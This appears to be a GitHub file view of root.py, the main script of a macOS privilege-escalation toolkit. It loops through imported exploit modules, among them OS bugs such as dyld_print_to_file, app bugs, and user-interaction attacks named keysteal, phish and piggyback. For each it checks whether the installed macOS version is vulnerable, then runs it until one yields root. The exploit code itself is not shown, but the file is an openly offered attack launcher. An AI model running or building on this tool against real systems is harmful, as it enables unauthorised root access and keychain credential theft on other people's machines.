-
Notifications
You must be signed in to change notification settings - Fork 27
/
root.py
executable file
·58 lines (50 loc) · 1.48 KB
/
root.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
#!/usr/bin/env python
import platform
from distutils.version import LooseVersion
from exploits import (
ardagent,
dyld_print_to_file,
keysteal,
libmalloc,
nopass,
phish,
piggyback,
proxifier,
sera,
)
OS_EXPLOITS = [ardagent, dyld_print_to_file, libmalloc, nopass]
APP_EXPLOITS = [proxifier, sera]
INTERACTION_EXPLOITS = [piggyback, keysteal, phish]
EXPLOITS = OS_EXPLOITS + APP_EXPLOITS + INTERACTION_EXPLOITS
REDC = "\033[91m[-] "
YELLOWC = "\033[93m[!] "
GREENC = "\033[92m[+] "
ENDC = "\033[00m"
NL = "\n"
def main():
"""main function"""
version = platform.mac_ver()[0]
print(GREENC + "Trying to escalate privileges on macOS %s..." % version + ENDC)
for exploit in EXPLOITS:
if not all(ex in dir(exploit) for ex in ["vulnerable", "run"]):
continue
if not exploit.vulnerable(LooseVersion(version)):
print(NL + YELLOWC + "Skipping %s..." % exploit.__name__ + ENDC)
continue
print(NL + YELLOWC + "Trying %s..." % exploit.__name__ + ENDC)
try:
result = exploit.run()
except KeyboardInterrupt:
continue
if result:
print(GREENC + exploit.__name__ + " was successful!" + ENDC)
return result
print(NL + REDC + "Failed" + ENDC)
print(NL + REDC + "All Exploits Unsuccessful" + ENDC)
return
if __name__ == "__main__":
try:
main()
except KeyboardInterrupt:
print("\nExitting...")
exit(0)